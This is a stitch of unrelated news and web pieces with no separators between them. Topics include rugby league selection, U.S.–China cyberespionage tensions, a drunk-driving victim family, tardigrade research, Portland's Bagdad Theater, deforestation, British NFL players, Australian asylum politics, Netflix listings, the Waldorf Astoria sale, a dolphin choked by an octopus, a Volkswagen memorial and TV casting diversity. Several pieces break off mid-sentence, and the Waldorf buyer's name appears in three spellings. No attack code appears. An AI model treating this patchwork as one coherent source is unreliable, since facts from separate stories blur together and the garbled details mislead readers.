"Teddy's a good young player, you've also got [Penrith fullback Matt] Moylan who is another good young player you could throw in at the back. You want those blokes playing really well to make our decision tough and force their way in. It will be good if we get more guys putting pressure on the incumbents."
Tedesco's early-season form did catch the eye of ex-Manly coach and former series-winning NSW captain Geoff Toovey.
"I like both players [Tedesco and Moylan], I like Dugan at fullback as well though, just the way he carries the ball and is a threat at the back," Toovey told NRL.com.
"But Tedesco – wow. He's creative, always dangerous when he's got the ball in his hand as well.
"They (Dugan and Tedesco) are different styles of players but both fantastic. Whether you have to move one to the centres to make way for the other I think will be decided one way or the other over the next couple of months."WASHINGTON -- Cyberespionage for economic gain by China is putting "enormous strain" on U.S.-China relations and needs to stop, President Obama's national security adviser said Monday.
Susan Rice was speaking on relations between the two world powers at George Washington University ahead of a high-profile state visit this week by Chinese President Xi Jinping.
Rice urged China to join the U.S. in promoting responsible forms of state behavior in cyberspace. She said it would be a "critical factor" in determining trajectory of U.S.-China ties.
"This isn't a mild irritation; it's an economic and national security concern to the United States. It puts enormous strain on our bilateral relationship," Rice said.
Chinese government suspected in massive U.S. Postal Service hacking
Hacking attacks on U.S. companies and government agencies have become a growing source of tension ahead of the visit by Xi, who will meet Mr. Obama on Friday.
"We want a business climate where intellectual property rights and trade secrets are respected, not stolen," Rice said.
China is suspected in the recent theft of personal data of millions of current and former U.S. government employees. The U.S. has not publicly blamed China for that breach. Experts suspect it was designed to gather intelligence rather than for commercial gain.
Rice's overriding theme was a familiar one: The U.S. wants to cooperate with China on tackling global concerns, but China should abide by global norms - in economic policy, its security policy and behavior in the disputed seas of East Asia and in human rights.
"This is a vital relationship of the 21st century, and we have to be upfront about our differences, because they are preventing us from reaching the full potential of our cooperation," she said.
Referring to the South China Sea, where China has spooked its neighbors by building artificial islands with military facilities to assert its disputed territorial claims, Rice asserted that the U.S. "will sail, fly and operate anywhere that international law permits."
But Rice noted that confidence-building measures by the U.S. and Chinese militaries agreed last year have reduced the risk of "unintended incidents" between the two forces in the Asia-Pacific - where China is emerging as a challenge to decades of U.S. pre-eminence.She added that she struggles with her emotions surrounding Muzzo, wanting to ask him "what possessed him to do this", "what did we do to deserve this" and "who are you to have done this”?
Jennifer continued by explaining how she continues to draw strength from those around her and members of the public who recognize her out in public and have stuck with the family through thick and thin.
"It's comforting to know that people are still with us and comforting us and carrying on with us," she added. "We were handed a life sentence...it was like a sucker punch."
Edward, who spoke to the media for the first time, explained how his house used to be messy and noisy and full of life, but now there was nothing.
"My life is horrible, we hate this new life we've been handed," Jennifer added, speaking about the loss of life in her family. "I wouldn't like to think our kids were stolen for no reason, I hope it becomes a deterrent."
Some of her other comments surrounded the efforts the couple has been making to recover a semblance of normality, including going to the grocery store and library.
Jennifer also mentioned how she brought her mother, Neriza, back to her King City home, noting how difficult it was for her just to get back in a car again.
Although they didn't enter the home, she said it was nice for her to witness the home from the driveway.
She also said how she has returned to the Aurora Cub group where her children used to attend and has struggled with no longer meeting people as “Jennifer the mom”, rather “Jennifer the mom who lost her three kids”.
A Facebook page pushing for a harsh sentence for Muzzo has been created, also containing a petition to rework drunk driving laws in Canada.The water bear is a strange animal that can survive severe cold, complete desiccation and cosmic radiation. Now scientists intend to find out what else this small creature can survive.
The significant abilities of the water bear (also known as a tardigrade) has once again caught the attention of the scientific community.
Scientists hope to unlock the secrets behind the water bears’ survival skills and apply this to technological developments, for example, when freezing organs.
"One could imagine, among other things, that some of the water bear's proteins could be of interest when freezing organs," says Associate Professor Nadja Møbjerg from the Department of Biology at the University of Copenhagen.
In a new research project she intends to find the limits to the water bears’ unusual skills by pushing its boundaries.
"We'd like to find out what it otherwise can withstand and how it does it," says Møbjerg.
Water bears survive as tiny barrels
Water bears, as their name suggests, live in water, but unlike many other creatures they can survive even if the water freezes to ice or disappears altogether.
If this happens, the water bear turns into a tiny barrel by retracting its legs into its body and hibernates until conditions improve.
This survival state is known as the barrel state or cryptobiosis.
It is this state that makes the water bear unique. "Only very few animals can shut down all the body's mechanisms in the same way and wait for their surroundings to improve," says Møbjerg.
Can survive desiccation for more than 100 years
It is well known that water bears can cope with frost and desiccation by entering a cryptobiotic state.
In this way they can survive without actually living. There have even been examples of water bears surviving without food or drink for 120 years in dried up marshes.
Decade after decade they can remain in the cryptobiotic state in natural history museums waiting for water. When water finally arrives, their legs pop out and the water bear comes back to life.
A closer look at the cryptobiotic state
Cold and desiccation are probably not the only environmental factors that can cause the water bear to contract.
For this reason, Møbjerg will investigate what water bears do when exposed to high salt concentrations, low salt concentrations and environmental poisons, for example, heavy metals.
Facts A water bear can survive:
- Freezing to 1 degree above absolute zero (-272 degrees Celsius).
- Vacuum and a pressure of 6,000 atm.
- Desiccation for up to 120 years (this has only been seen in one animal).
- 10 times as much radiation than the lethal level for humans.
"This will tell us something about how versatile cryptobiosis is and what it takes for water bears to shut down," says Møbjerg.
Will identify genes and proteins
Møbjerg will also be examining which proteins and genes are at play when the water bear goes into cryptobiosis.
All in all, the research project will start digging into our understanding of the limitations of life.
"We'll be looking for answers to basic, unanswered scientific questions which are of tremendous significance when it comes to our understanding of what advanced life can survive in extreme environments”, says Møbjerg.
“If the water bear is the animal which can cope with the very most extreme conditions, what are its limits, and do these apply to all life? This project will be able to answer such questions”.
Møbjerg has received a grant of DKK 5,592,126 for her project 'Advanced life in extreme environments' from the Danish Council for Independent Research.
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Read the original story in Danish on Videnskab.dkOrwellian DoubleThink Series 2
Activist Post
Rights are Privileges (Freedom is Slavery): The primary duty of all public officials is to protect the rights of citizens as defined in the Constitution, where they shall not make or enforce any laws that violate those rights. In fact, the “checks and balances” were put in place to assure that rights of citizens are not being trampled by one branch of the government. After 9-11, President Bush and other public officials proclaimed that their most important job was protecting the safety of the American people, which basically put an end to |
out of style. Over the decades, Bagdad owners and managers zigged and zagged, first booking vaudeville acts, later sectioning space off to make a duplex, then a triplex.
And then in 1991, brothers and pub moguls Mike and Brian McMenamin bought and renovated the theater, returning it to a single-screen configuration. The key innovation, borrowed from another McMenamin project a few years before, was the view 'n' brew angle.
"There's nothing like going to watch a movie with a pint of Hammerhead," Flesher likes to say.
The history-loving, hippie-friendly McMenamin empire has grown to more than 50 pubs, breweries and hotels in Oregon and Washington, a remarkable story — but you know what familiarity breeds. With the many McMenamin successes has come occasional local sniping about bland fare and seemingly stoned staffers. ("McMinimize your expectations," a sour commenter once wrote on Portlandbarfly.com.)
It's true that the Bagdad's barbecue chicken pizza wasn't my favorite meal in Portland, but it had a nice smoky taste and the Terminator Stout was on the money. Our waitress was not only sober and pleasant but also miffed by the number of able-bodied young beggars on the boulevard.
Now a change is coming. In late September or early October, Flesher said, the Bagdad will close for one to two weeks for installation of new seats, digital projection and sound systems, a new screen and perhaps a tweak to the menu. The new Bagdad, Flesher said, will focus more on first-run movies.
I can imagine that this mainstream move might trouble people with "Keep Portland weird" bumper stickers on their kid-sized bicycles, maybe even inspiring a "Portlandia" episode. I'm reserving judgment and clinging to the best moment of this trip, which the Bagdad helped make possible.
It was night. I was standing across the street from the theater at Powell's. Tyson Birnbaum, the bookshop's assistant manager, was at the counter, about to compare his Portland experience to a Ray Bradbury story about a planet that gets two hours of sunshine every seven years. Just outside the window, a sidewalk fiddle player launched into an improvisation for an aspiring young author who wore a black mask and wielded a VW hubcap shield.
Naturally, Boster stepped up to photograph them. For a moment, the three of them were joined in a circle dance of creation, affectation and documentation, all backlighted by those red and green Bagdad lights.
"Now," I thought. "Now, I'm in Portland."
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Timeline: The life of the Bagdad Theater in Portland, Ore.
1927 Southeastern Portland, Ore.'s Hawthorne corridor is transformed by the opening of the Bagdad Theater. Bankrolled in part by Universal Pictures, it's a 1,500-seat "oasis for entertainment," with one enormous electric BAGDAD sign hanging over the street and a second jutting from the roof.
1940s A new manager turns the theater toward vaudeville acts. The Bagdad sign over the street has come down and a new marquee is wrapped around the front of the building. As the theater's vaudeville era winds down in 1948, one of its final acts is the Will Mastin Trio, including a young singer-dancer named Sammy Davis Jr.
1973 After decades of decline, the Bagdad is split into a two-screen operation by a new owner. Eventually, there will be three screens: one in the former balcony, one in the former backstage area and one in the main space. The pipe organ has been gone since the 1950s.
1975 Stars Jack Nicholson and Louise Fletcher join producer Michael Douglas at the Bagdad for the Oregon premiere of "One Flew Over the Cuckoo's Nest," which was shot at the Oregon State Hospital in Salem.
1979 B-movie king Russ Meyer screens the local premiere of "Beneath the Valley of the Ultra-Vixens" at the Bagdad.
1983 Several blocks west of the Bagdad at 1629 S.E. Hawthorne Blvd., fledgling entrepreneurs Mike and Brian McMenamin open their first pub, the Barley Mill. Two years later comes their first brewpub, Hillsdale Brewery & Public House in southwestern Portland.
1989 The Bagdad sign over the roof is gone, and the orchestra pit is covered. Yet so much of the old landmark remains that the theater is added to the National Register of Historic Places.
1991 The McMenamin brothers buy the property, renovate it, return it to one big screen with seats for 590 and rename it the Bagdad Theater & Pub. Portland-based filmmaker Gus Van Sant holds a screening of "My Own Private Idaho." The theater also starts hosting authors' readings and music performances.
2006 The Bagdad's Back Stage Bar opens, making use of former behind-the-screen storage space, with a ceiling about seven stories high. A series of connected rooms includes space for several pool tables.
2013 Still banking on brew 'n' view customers, the Bagdad lays plans for digital projection, new seats and first-run movies.
Sources: http://www.oregonencyclopedia.org, http://www.mcmenamins.com, McMenamins historian Tim Hills, Bagdad Theater & Pub property manager Rachel Flesher
Portland makes the page: Two experts recommend the best books on the city
Who's better than two guys behind the counter at Powell's to suggest some Portland reading?
Here are some ideas from assistant manager Tyson Birnbaum (who came to town 13 years ago from Hawaii) and bookseller Keith Brooks (a 55-year-old lifer), both at the Powell's on Southeast Hawthorne Boulevard. (The order here is alphabetical by author, but fans of Chuck Palahniuk should know that both booksellers thought of "Fugitives and Refugees" first.)
Birnbaum: "This is Portland: The City You've Heard You Should Like," by Alexander Barrett. A collection of 13 essays, often tongue in cheek. (Brooks objected, saying, "It was written by a guy who doesn't even live here.")
Brooks: Chelsea Cain's mystery novels. Cain's "Gretchen" series follows Portland detective Archie Sheridan and killer Gretchen Lowell. It begins with "Heartsick," published in 2007.
Birnbaum: "Wild in the City: Guide to Portland's Natural Areas," edited by Michael C. Houck and M.J. Cody.
Brooks: "Portland: People, Politics and Power, 1851-2001," by Jewel Lansing. Inside history from a woman who was Portland's elected auditor from 1983-86.
Brooks: "Blue Moon Over Thurman Street," by Ursula K. Le Guin. Le Guin, best known as a novelist, is a longtime Portlander. For several years in the 1980s and 1990s, she teamed with photographer Roger Dorbland to assemble a portrait of Thurman Street, which stretches across the city for 45 blocks. (Bonus tip: Le Guin's dream-laden novel "The Lathe of Heaven," published in 1971, takes place in the Portland of 2002.)
Brooks: "Red Hot and Rollin'," a collection of essays, edited by Matt Love, about the Trailblazers' 1976-77 championship season. Early copies came with a DVD of a documentary about the team.
Both: "Fugitives and Refugees: A Walk in Portland, Oregon," a nonfiction work by novelist Chuck Palahniuk, better known for "Fight Club" and several other works. Chosen by both.
Birnbaum: "Portland Confidential: Sex, Crime and Corruption in the Rose City," by Phil Stanford. "It's an underground history of Portland."
Birnbaum: S.L. Stoner's historical mysteries, set in 19th and early 20th century Portland. The hero of the series is named Sage Adair, and the titles include "Timber Beasts" and "Land Sharks."
Brooks: "Zazen," a 2011 novel by Vanessa Veselka that won the 2012 PEN/Robert Bingham Prize for debut fiction. It's "set in a slightly alternative universe that resembles Portland and parts of San Francisco."
[email protected] pulp and paper company halts harvesting of all natural forest as part of new sustainable forest management policy, reports BusinessGreen
Pulp and paper giant April will stop logging natural forests four years earlier than planned as part of a renewed effort to halt deforestation across its supply chain.
The Indonesia-based company announced that it had halted harvesting of all natural forest as of 15 May and will only use supplies from its own plantations. The move brings forward the company’s goal to end natural forest clearance by 2019.
The latest pledge forms part of a new sustainable forest management policy, which also commits the company to work with green groups to avoid developing forested peatland, expand conservation areas, and resolve conflicts with local communities. April said it had already achieved 70% of its goal to develop conservation areas to match its 480,000 hectare plantations.
“This is a major step in our 15‐year sustainability journey,” said April group president Praveen Singhavi. “This is about elimination of deforestation from our supply chain and builds on our longstanding commitment to conservation. We are delivering on conservation, social and economic benefits for Indonesia and a sustainable future for the company and our customers.”
April’s parent company, the Royal Golden Eagle (RGE) group, has also announced new sustainability policies by all other pulp companies in the group, including an end to deforestation.
The move is the latest in a string of zero-deforestation commitments in the region following the high-profile pledge by Asia Pulp & Paper to end deforestation, and similar promises from some of the biggest palm oil producers in Indonesia, including April’s sister companies Asian Agri and Apical.
It follows a campaign by leading green groups, which accuse logging operators in the region of not doing enough to tackle deforestation and the destruction of peatlands, a large store of carbon. Despite passing a moratorium on clearing tropical forests in 2011, losses in Indonesia have accelerated, propelling the country, home to the third-largest tropical forests in the world, past Brazil in terms of clearances.
Greenpeace welcomed the latest announcement, and confirmed it would suspend its long-running campaign against April to give it and other RGE group companies time to put their new policies into practice. However, Greenpeace added it would be “watching closely to make sure that today’s announcement leads to real change on the ground”.
It also said the Indonesian government should now do more to support communities and progressive companies with forest sector reform.
“President Jokowi [Joko Widodo] promised to stop plantation companies damaging the environment or harming communities,” said Bustar Maitar, head of Greenpeace’s forest campaign in Indonesia. “Yet even though Indonesia’s biggest pulpwood and palm oil companies are moving away from deforestation, the destruction on the ground continues. The government must now act to reform the forest sector so it works for people and the environment.”On Twitter, the Oakland Raiders defensive end Jack Crawford coined the hashtag #BritsInTheBay. Born and raised in London, England, Crawford used to be the only British NFL player making his living in San Francisco's Bay Area. Now there are three. On Friday the Raiders selected Manchester's Menelik Watson in the second round of this year's NFL Draft. On Saturday the San Francisco 49ers signed former Team GB Olympian Lawrence Okoye as a free agent.
"It's great to see so many Brits in such a close vicinity," said Okoye in a conference call on Sunday. "I'd love to touch base with [Watson and Crawford]. Obviously Watson in particular, coming from where he's come from, has done unbelievably well to get drafted in the second round. I'm really happy for him and I'll try to make contact with both those guys at an appropriate time."
Where Watson is already being penciled in as a starter on Oakland's offensive line, it will be a huge challenge for Okoye to even make the 49ers' roster. NFL teams are allowed to carry as many as 90 players during preseason, but that number must be cut down to 53 by the time the regular season starts. A further eight players may be named to a practice squad – allowing them to train with the team but not take part in games.
The 49ers' practice squad might be the most realistic target for Okoye – a man who has never even played this sport before. Less than a year has passed since he was competing in the Olympic final of the discus at London 2012, and it was some time after that – after he had travelled to the States to resume training – that Okoye decided to have a crack at playing in the NFL.
At a regional scouting event, Okoye, trying out as a defensive lineman, startled talent evaluators with his athleticism. NFL scouts do not see a lot of 6ft 5½in, 304lb prospects who can run the 40-yard dash in 4.78sec. Even so, none was prepared to risk a draft choice on such a raw recruit. Okoye has, by his own admission, only once tried on a set of pads.
San Francisco were one of a number of teams to take an interest, however, inviting Okoye to visit their training facilities for private scouting sessions. Throughout this weekend's draft he fielded phone calls from a number of NFL coaches, yet it was the 49ers who convinced him most. Their defensive line coach, Jim Tomsula, worked in the now-defunct NFL Europe for nine years, where his focus was often on helping raw or inexperienced players to develop their skills.
"[Tomsula] just made it clear that he wanted me," said Okoye. "He didn't hold back any words or anything, he made it very clear what they wanted to do with me. Throughout the whole process the 49ers are the team that I've felt has wanted to do the most work with me and made me feel the most welcome when I went to visit there.
"They made it clear that it's a long road but that they wanted to work with me and they have the best organization to do it. Jim Tomsula has a great background in NFL Europe developing guys who have minimal experience of playing the game. And obviously he's been a huge success story from there to the 49ers and being one of the top one or two defensive line coaches in the year."
The 49ers' defense has been one of the best in the league since Jim Harbaugh took over as head coach in 2011, and Okoye confirmed that the opportunity to learn from such players as Justin Smith – a four-time Pro Bowler at defensive tackle – had also played a part in his decision.
"When I went to visit, Justin Smith was a great guy," said Okoye. "He actually went to college with Christian Cantwell, the world champion shot putter in 2009. So yeah, we had a little chat about track and lifting. Coach Tomsula has made it clear that [Smith] is going to teach me as much as possible and give me a lot of time. He's top two or three defensive tackles in the league, and there's nobody better to learn from."
Okoye has clearly immersed himself in the sport, discussing technique and alignments in more detail than one might expect from a player who had never played the game. Even so, he acknowledged that he has much left to learn, saying: "I know as much as I can about the game without actually playing it. But I'm still an outsider looking in to be honest."
He added that he had no expectations for this year, but at the same time made it plain that he will always set the bar high. "I don't put any limits on myself as you know," Okoye said. "If I declared when I was 18 that I was going to be in an Olympic final and a British record holder, hardly anyone would have believed it was possible.
"So just from past experience I know not to put any limits on myself. But I also do realise that it's a ridiculously tough, tough process, it's going to be a fight every day and I'm going to have to compete as hard as I can every day to get better and to not look out of place with these pros. I'm aware that there's a big possibility of being on the practice squad for however long they see fit."
What he can be sure of, at least, is that he has already made an impression on his new employers. Asked about Okoye by local reporters in San Francisco, Harbaugh replied: "He's just an Adonis. Just a great physical specimen of a man. I can think of some other adjectives. Our Creator created a beautiful man."
The great challenge facing Okoye is to parlay such undoubted physical talents into a similar beautiful NFL career.
Talking Points
• Another Briton found a home (at least temporarily) in the NFL on Saturday, as Tom Wort, the Oklahoma linebacker originally hailing from Crawley, was signed to a free agent deal by the Tennessee Titans. That was perhaps a disappointing outcome for Wort, who had been touted as a late-round pick, but the reality is that sometimes it is better for a player not to be drafted. Wort's prospects of landing a roster spot come September are no worse than those of many seventh-round picks, and this way he may have been able to exert some control over his own destination.
• The 49ers have been touted among the big winners of this year's draft – addressing areas of need at safety, tight end and on the defensive line with Eric Reid, Vance McDonald and Tank Carradine. Then again, when you start the weekend with 13 picks (by the end that number had been reduced through trades to 11) you really ought to come away with something good. I actually really like what the St Louis Rams achieved – trading up to get Tavon Austin, the stand-out playmaker in this year's draft, and then down to replace lot picks and still land Alec Ogletree at No30. But of course, all such judgments are incomplete at this stage. It will be years before we really know who 'won' this draft.
• That said, it was definitely a good weekend for the Tennessee running back Chris Johnson, as his team upgraded its run blocking significantly by adding guard Chance Warmack in the first round, as well as adding a new threat at wide receiver in the person of Justin Hunter. Johnson's "THANK GOD" tweet after the Warmack selection remains one of my highlights of the weekend.
• And if there is one clear loser this weekend, it might just be the New York Jets quarterback Mark Sanchez – who must suspect that his days in New York are numbered after the drafting of Geno Smith. It cannot be good for one's self-esteem to hear that an employer is contemplating letting you go even though they would still have to pay your $8.25m salary in full.Inside the Coalition, there is a strong expectation that the government will shortly unveil a third country resettlement deal to try and fix Australia’s diabolical problem of 2,000 people languishing indefinitely in immigration detention centres.
There have been hints about this for the past few months.
A month and a half ago the immigration minister, Peter Dutton, opened the door to resettling refugees detained on Nauru in New Zealand.
That particular door wasn’t open very long. The hint of a shift in policy appeared in an interview Dutton did with the al-Jazeera network that hit the public domain on 15 September.
New asylum laws pave the way for third-country resettlement, Peter Dutton says Read more
By that evening, troubled by an unauthorised message arrival (the interview was broadcast earlier than anticipated) Dutton closed the door. Australia’s regional processing relationship with Nauru would continue for “decades” he said by way of clarification.
There was a another batch of significant talk when Dutton and Malcolm Turnbull went to the United Nations, and said Australia would take refugees from camps in Costa Rica. Perhaps the third country wasn’t New Zealand but the United States. Perhaps it was both.
The latest batch of internal speculation has been triggered by the government on Sunday sounding the political trumpets before revealing plans to introduce new legislation to ban asylum seekers who arrive by boat from ever being allowed into Australia.
While confirming nothing, Turnbull and Dutton have certainly done nothing definitive over the past 24 hours to hose down speculation the new batch of ritualised punishment for unauthorised arrivals is, somehow, a necessary prerequisite to third-country resettlement.
Obviously if there is some prospect of ending the unconscionable arbitrary detention of thousands of people who have committed absolutely no crime, then this would be a welcome development, a means to an end, with the end goal being the clearing of the wretched offshore camps.
Bill Shorten calls refugee ban 'ridiculous' as Coalition attacks Labor for indecision Read more
If this is the actual objective, in any rational universe, the government would engage the ALP, and work constructively to get it done.
But this is asylum politics, so the prospect of anyone inhabiting a rational universe is slim.
And so we’ve seen the same old rubbish.
The government has decided to convert what could be a prelude to trying to do something minutely humane for asylum seekers into an operatic political smash-up on Labor’s weakness on border protection.
Why? Well who knows.
A couple of possibilities: sounding manly on the boats does throw a bone to the Hansonites, which is moderately helpful, when the Hansonites are fully intent on coming after your base.
Pauline Hanson declared on morning television on Monday refugees weren’t welcome in Australia. The prime minister, travelling in South Australia, chose not to disavow Hanson’s statement. “I am not going to run a commentary on others,” Turnbull said.
Apart from a crude bit of political signalling to your fractured base, perhaps it’s just a simple political diversion: a two-card trick.
Just think about it like this: if the government is going to try to shift some people out of indefinite detention, this is obviously a significant change of pace in the story the government likes to tell about border protection, particularly in a febrile environment where parliamentarians think it’s a political plus to declare refugees are not welcome in this country.
Let’s cut to the chase. If this is about to happen, it will be the first moderately humane thing the government has done in this wretched policy space. The mild outbreak of humanity could confuse some of the government’s cheerleaders and amplifiers, who apparently think mercy should never apply to people who seek asylum by turning up in a boat.
And now a new cruelty is heaped upon the victims of our nation's political expedience | First Dog on the Moon Read more
Given the government might be about to present some people with an opportunity to get out of the limbo we’ve put them in because of our deranged domestic political debate, perhaps it’s best from their perspective if we don’t look too closely at the Coalition making preparations to be “soft” on border protection – or God forbid, frame the news coverage from that perspective.
Best we look at Labor being “soft” on border protection. And the first run has worked precisely to script, the party’s left faction out in horror at the latest policy atrocity, the Labor leader Bill Shorten trying to sound like he’s saying no while leaving himself room to say yes.
Could they be that cynical?
You bet they could be that cynical.
Just ask those poor souls in detention on Nauru.Coming Soon
Dead to Me
A powerful friendship blossoms between a tightly wound widow and a free spirit with a shocking secret in this darkly comic series.
Rudy Ray Moore
When Hollywood shut him out in the 1970s, multi-talented Rudy Ray Moore created his own work, including the well-known blaxploitation film, "Dolemite."
Warrior Nun
A young woman wakes up in a morgue with inexplicable powers and gets caught in a battle between good and evil. Inspired by the manga novels.
TRESE
When the cops are stumped, Alexandra Trese is there to protect Manila from threats of the supernatural kind. Based on the award-winning Filipino comic.
Second City Television Special (Working Title)
Martin Scorsese directs this Netflix original comedy special exploring the enduring legacy of Emmy-winning sketch comedy show "SCTV."
Cagaster of an Insect Cage
Thirty years after humanity was decimated by a disease that turned the infected into bloodthirsty insects, two kids struggle to survive.
Mixtape
This romantic musical drama follows the love stories connecting an eclectic group of people in modern-day Los Angeles.
Avatar The Last Airbender
Long ago, the four nations lived in harmony. Then, everything changed. The animated show's original creators helm a live-action take on Aang's story.Arbang Insurance Group snatches up glamorous New York City hotel but Hilton will continue to manage it for the next 100 years
A Chinese insurance company is buying one New York’s most glamorous hotels – the Waldorf Astoria in midtown Manhattan.
Anbang Insurance Group Co Ltd is purchasing the Waldorf for $1.95bn from a subsidiary of Hilton Worldwide Holdings Inc. Anbang will pay Hilton a $100m deposit, and is expected to pay off the hotel’s $525m mortgage as part of the deal. Hilton will continue to manage the hotel for the next 100 years.
“We are very excited to be entering into this long-term relationship with Anbang, which will ensure that the Waldorf Astoria New York represents the brand’s world-class standards for generations to come,” said Christopher J Nassetta, Hilton Worldwide CEO.
The new owners are slated to renovate of the Art Deco building, restoring it to its “historic grandeur”. The 60,000 square foot hotel was opened in 1931, in its second location. The hotel was first was built before the turn of the century on what is now the site of the Empire State building. The Waldorf was famously called “the greatest of them all” by Conrad Hilton, founder of the Hilton hotel company.
Hilton purchased the Waldorf in 1949. In December, Hilton raised $2.35bn in the largest ever initial public offering by a hotel company. The majority of Hilton is now owned by Blackstone Group LP, a private equity firm. Hilton plans to use cash from the Waldorf’s sale to buy more hotels across the US, according to a report by Bloomberg.
Closing is scheduled for New Year’s Eve, though it could take until 31 March 2015 to finalize the sale.
Andang is a Beijing-based life, health and property insurance company with 20 million customers and 30,000 employees, according to a Hilton press release. The company has $113bn in assets.
More than 4,200 properties in 93 countries are under the Hilton company’s control. Waldorf Astoria Hotels & Resorts is a subsidiary of Hilton that owns the Waldorf Astoria hotel in New York. The subsidiary owns another 27 hotels around the world.
•This story was amended on 6 October to correct that Hilton purchased the Waldorf in 1949.John Symons, Murdoch University
A dolphin in Western Australia has bitten off more than it can chew. An attempt to eat a large octopus turned fatal when its airway was obstructed by a mass of tentacles.
The Indo-Pacific bottlenose dolphin – known as “Gilligan” to researchers in the area – was found dead on Stratham Beach near the port city of Bunbury in August 2015. Octopus arms were seen hanging out of the side of its mouth.
A post-mortem examination revealed one octopus tentacle extending down the dolphin’s oesophagus, and the other seven stuck in the back of its throat. The tentacle suckers were gripping the throat walls and had blocked off the airway, causing the dolphin to suffocate.
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The tentacles belonged to a Maori octopus (Macroctopus maorum), the largest species of octopus found in Australian waters and the third largest in the world.
Read more: Giant octopus wears jellyfish cape after it devours its owner
It is not unusual for bottlenose dolphins to feed on octopuses, but they normally break the body and tentacles into smaller pieces first using a “shake-and-toss” method. Shaking the octopus helps to kill it and tear it apart, while tossing prevents it from latching on and also weakens the suckers.
Down in one
Gilligan’s downfall was trying to swallow the 2.1-kilogram octopus whole without proper preparation, says Nahiid Stephens at Murdoch University in Perth, Western Australia, who performed the post-mortem. “We assume it simply wasn’t broken up adequately,” she says.
It would not be the first dolphin to make this mistake, Stephens says. Park rangers along the coast of Western Australia have described similar octopus-related deaths in dolphins and sea lions, she says.
Nahiid Stephens, Murdoch University
Dolphins in other parts of the world have also had a hard time with octopus prey. For example, in 2012 a bottlenose dolphin in Greece was observed with an octopus clasped to its genitals.
But even though hunting octopuses is risky, there are also benefits. Large, muscular octopuses provide a robust meal full of high-quality proteins. They are also easier to catch than fish, because they tire quickly during pursuit, especially after they’ve finished breeding.
“Their consumption must generally be a risk worth taking, although it did not play out well in this individual’s case,” says Stephens.
Journal reference: Marine Mammal Science, DOI: 10.1111/mms.12420
Read more: Huge royal albatross chokes to death by swallowing seal sharkThe management, Works Council and staff marked the 71st anniversary of the liberation of Auschwitz with an event commemorating the victims of the Holocaust. Wolfsburg Plant Manager Jens Herrmann, Works Council Committee Member Gabriele Trittel and Plant Works Council Chief Administrator Marco Wittek laid a wreath on the memorial stone at Gate 2.
This was the second occasion on which the works had held its own Holocaust Memorial event. Following the wreath-laying, a passage was read from the novel “Fateless” by Jewish author Imre Kertész (* 1929). Nobel Prize in Literature Laureate Imre Kertész survived the Auschwitz and Buchenwald concentration camps as a youth, and “Fateless” reflects his experiences. Musicians from the Philharmonic Volkswagen Orchestra then performed the Third String Quartet by Jewish composer Viktor Ullmann (1898-1944), who was murdered at Auschwitz-Birkenau. The piece was written in the Theresienstadt ghetto in 1943, and was first performed at the Volkswagen plant in Wolfsburg.
Plant Manager Jens Herrmann commented on the occasion of the memorial event: “For Volkswagen, commemorating the victims of National Socialism is an ongoing process, promoting mutual respect and consideration, and rejecting racism and intolerance.” In their statement, Gabriele Trittel and Marco Wittek from the Works Council added: “In view of the current debate concerning refugees, especially, exclusion and marginalisation must under no circumstances be tolerated.”
Among the 20,000 forced labourers at the works of the then Volkswagenwerk GmbH between 1940 and 1945 were Jewish prisoners from the Auschwitz concentration camp.When Linda Lowy was casting the pilot for “Grey’s Anatomy” more than a decade ago, she had only one edict from creator Shonda Rhimes regarding skin color — Miranda Bailey had to be white. Rhimes envisioned the character as a petite blonde whose mousy frame would contrast with a fierce intellect and fiercer demeanor, both of which would intimidate the show’s young doctors in training. Kristin Chenoweth tested for the role. But then Lowy saw a taped audition from an African-American actress named Chandra Wilson.
“I didn’t see anything other than the character,” Lowy says. “I took it out of the machine — it was a VHS tape then — and I walked down to Shonda’s office and I said, ‘You have to look at this.’ We were both flabbergasted.”
Wilson is now in her 13th season on “Grey’s.” When the show premiered, the broadcast-network diversity departments born out of an NAACP boycott were not quite five years old. Now broadcasters such as ABC tout their onscreen diversity as a point of pride. But inclusion in Hollywood isn’t entirely a rosy picture: Studios such as Marvel have been forced to defend themselves vigorously against charges of whitewashing in their films.
That transition of diversity from the back burner to the hot stove has changed the way that casting directors operate. And the diversity conversation has since become more nuanced — broadening beyond questions of simply black and white.
“I feel like ‘Grey’s Anatomy,’ in many ways, and ‘Scandal’ after that, and ‘How to Get Away With Murder’ after that — we sort of changed something,” Lowy says. “We moved something a little bit in the right direction.”
That direction is one in which diversity is at the forefront of the casting process. “Once it gets to a person like me, the conversation turns right away to diversity, because the heads of the studios are looking to diversify their casts and not to have a lily-white first three people on the call sheet,” Lowy says. “You need somebody in there of color.”
That effort appears to be bearing fruit. GLAAD’s annual Where We Are on TV survey found last year that black characters accounted for 16% of all series-regular roles on broadcast in the 2015-16 season — the highest percentage in the survey’s 11-year history. Hispanics accounted for 7% of all television roles, including America Ferrera’s lead character on the NBC comedy “Superstore,” which the network backed with a big marketing push heading into its second season, including a special post-Olympics episode.
“To create a successful show on network television, the largest possible audience needs to be able to relate to the characters and stories, and that audience is made up of people from all different backgrounds and experiences.” Jennifer Salke, president of NBC Entertainment
“To create a successful show on network television,” says Jennifer Salke, president of NBC Entertainment, “the largest possible audience needs to be able to relate to the characters and stories. And that audience is made up of people from all different backgrounds and experiences.”
The expansion of scripted programming across multiple networks and digital services has also created more casting opportunities for actors of color.
“If you look at Amazon and Netflix and Hulu,” says Christine Kromer, casting director on Starz’s “Power,” “there are so many more shows being made and so many more opportunities for diverse actors.”
But the proliferation of scripted entertainment, particularly on television, has also stretched thin a talent pool that for years was inadequately supported by the industry. Casting directors complain of a dearth of experienced middle-aged and older actors of color.
“The competition for talent, just because of the numbers, is crazy right now,” says Sharon Klein, executive VP of casting for Fox Television Group.
Lowy agrees. “If you need a 40-year-old, super-handsome Latino fellow, it’s hard. You’ve definitely got to look in other countries. You’ve got to look in South America. Most of them are going to be taken here.” But, she argues, the effort is worth it, and the next generation will be encouraged to stay in the business by seeing themselves represented on screen, and finding more work in their 20s than their predecessors were able to.
